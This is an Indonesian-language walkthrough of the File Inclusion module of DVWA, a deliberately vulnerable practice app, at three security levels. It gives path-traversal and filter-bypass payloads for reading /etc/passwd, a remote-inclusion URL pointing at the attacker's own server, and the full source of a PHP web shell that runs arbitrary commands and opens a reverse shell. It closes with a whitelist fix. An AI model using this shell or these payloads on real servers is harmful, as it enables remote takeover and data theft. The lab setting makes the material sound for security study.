DVWA Series: File Inclusion
January 05, 2022 ⏱️6 min readIntro
DVWA adalah aplikasi web yang dirancang khusus untuk memiliki kerentanan agar kita bisa mempelajarinya. Tujuan dari DVWA adalah mempraktikan beberapa kerentanan web yang umum ditemui dengan berbagai level kesulitan dan antarmuka langsung yang sederhana.
Disclaimer
Tujuan saya menulis dokumentasi ini adalah sebagai catatan pribadi dalam pempelajari keamanan aplikasi web. Saya tidak bertanggung jawab atas segala tindakan ilegal yang dipelajari dari dokumentasi ini.
Apa itu File Inclusion
File Inclusion adalah serangan yang ditujukan kepada website yang memiliki celah keamanan yang biasanya menggunakan fungsi memanggil file melalui suatu inputan dinamis, dalam hal ini berarti seseorang dapat mengganti alamat file yang akan dipanggil dan kemudian diproses.
Efek dari serangan ini peretas dapat saja menyisipkan shell backdoor/malware, mengambil informasi penting pada server, merubah dan menghapus data
Terdapat 2 jenis file inclusion, yaitu:
-
Local File Inclusion (LFI), hanya bisa melihat data yang ada di dalam server tersebut.
-
Remote File Inclusion (RFI), kita bisa mengambil file diluar jaringan agar bisa dijalankan.
Security Level: Low
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
Information Gathering
Saat pertama kali kita mengakses halaman file inclusion, terdapat parameter page pada URL yang memanggil file include.php.
Kemudian jika kita klik pada salah satu dari ketiga pilihan misal: file2.php, maka nilai parameter page akan menggunakan nama file yang kita pilih.
Coba kita ubah parameter menjadi
../../../../../../../etc/passwd
maka akan muncul isi file dari passwd pada server
Hal tersebut menandakan bahwa web tersebut rentan terhadap serangan File Inclusion
Launch Attack
Karena ada 2 jenis file inclusion, kita akan mencoba keduanya.
Local File Inclusion
Contohnya kita ingin melihat isi file /etc/passwd maka kita bisa gunakan payload yang sama seperti di atas
../../../../../../../etc/passwd
Keterangan: ../ berarti kita akan mundur ke direktori sebelumnya, kita gunakan bayak ../ agar kita bisa sampai ke direktori root
Remote File Inclusion
Sebelum menjalankan remote file inclusion pada DVWA pastikan PHP function allow_url_include: Enable
Cara menghidupkannya adalah dengan mengganti konfigurasi pada php.ini Jika DVWA terinstall menggunakan docker dapat menggunakan perintah
sudo docker exec <nama container dvwa> sed -i 's/allow_url_include = Off/allow_url_include = On/g' /etc/php/7.0/apache2/php.ini
sudo docker exec <nama container dvwa> /etc/init.d/apache2 reload
Kemudian untuk menjalankan serangan, kita perlu membuat shell terlebih dahulu, lalu kita upload ke suatu server/hosting/VPS yang bisa di akses oleh server target.
Kita buat shell yang berisi kode:
<?php
/*
Name : KNOCK KNOCK
Owner : Naman Sahore
Email : [email protected]
Published on : 30th July 2017
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
This shell scrpit can be used for performing Remote File Inclusion
as well as Local File Inclusion( by adding .php at the end of
script) and getting REVERSE SHELL from vulnerable server
or performing shell command on browser.
HOW TO USE:
FOR RFI
Clear .txt extention and upload the script on a server and
preform RFI.
FOR LFI
Clear .txt and add .php extention to the script and
perform LFI by uploading shell script on a
vulnerable server.
Comment for more information.
*/
?>
<body style="background-color:rgb(200,200,200);">
<form action="<?php $link = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; echo "{$link}"?>" method="POST">
<center>
<strong>
</br>
<h1 color="rgb(255, 0, 31)"><b>KNOCK KNOCK</b></h1>
</br>
<h2 color="rgb(255, 0, 31)"><b>SHELL</b></h2>
COMMAND : <input type="text" name="cmd" value=""/>
<input type="submit" name="submit" value="CMD" />
</br></br>
<h2 color="rgb(255, 0, 31)"><b>R SHELL USING PHP</b></h2>
<p><b><i>*NOTE : </b>Before triggring rshell, start listening</i></p>
</br>
IP : <input type="text" name="ip" value=""/> PORT : <input type="text" name="port" value=""/>
<input type="submit" name="submit" value="R SHELL" />
</strong>
</center>
<br />
<strong>
<font size="5">
<?php
if(isset($_POST["cmd"])){
$cmd=$_POST["cmd"];
$output = shell_exec("{$cmd} 2>&1");
echo $cmd."</br>"."<pre>".$output."</pre>";
}
if (isset($_POST["ip"]) && isset($_POST["port"])) {
$sock="sock";
$cmd = "php -r '$"."{$sock}"."=fsockopen("."\"{$_POST["ip"]}\"".","."{$_POST["port"]}".");shell_exec(\""."/bin/sh -i <&3 >&3 2>&3"."\");'";
if (strlen($cmd)>66) {
shell_exec("{$cmd} 2>&1");
}
}
?>
</font>
</strong>
</body>
Kode shell tersebut bersumber dari https://raw.githubusercontent.com/namansahore/Remote-File-Inclusion-Shell/master/knock.txt
Simpan shell tersebut dengan ekstensi .txt Seelah diupload ke VPS/Hosting milik kalian, panggil file tersebut dengan memasukkan link pada parameter yang memiliki celah file inclusion contohnya
http://192.168.1.6/vulnerabilities/fi/?page=http://ip-address-VPS-kita/knock.txt
Maka kalau berhasil, kita bisa menjalankan RCE seperti gambar berikut:
Security Level: Medium
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
Information Gathering
Kali ini jika kita kita menggunakan ../
atau ..\"
untuk LFI dan http://
atau https://
untuk RFI, maka yang teks yang mengandung kata tersebut akan dihilangkan oleh fungsi str_replace()
.
Untuk mengatasi hal ini saya menemukan cara, yaitu menggunakan payload berikut:
..././ -> ../
dan
hthttp://tp://ip-address/knock.txt -> http://ip-address/knock.txt
Launch Attack
Sama seperti level low, kita akan melakukan LFI dan RFI
Local File Inclusion
Pada LFI kita akan melihat isi dari file passwd menggunakan payload:
..././..././..././..././..././etc/passwd
Remote File Inclusion
Sama seperti level medium, kita perlu upload shell terlebih dahulu, kemudian kita masukkan payload sebagai berikut:
hthttp://tp://ip-address/knock.txt
Security Level: High
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
Information Gathering
Perhatikan pada source code di atas, parameter page hanya diizinkan ketika file tersebut diakses dengan diawali kata “file” atau bernama include.php. Jika salah, maka akan muncul pesan Error
Validasi ini memiliki celah, yaitu kita bisa menggunakan protokol file://
untuk melihat file yang ada di server lokal target. Server akan mengizinkannya, karena memang diawali dengan kata “file”.
Karena protokol ini hanya untuk melihat file yang ada di dalam server target, maka kita hanya bisa melakukan Local File Inclusion.
Lunch Attack
Kita gunakan payload
file:///etc/passwd
Menghindari File Inclusion
`<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!";
exit;
}
?>`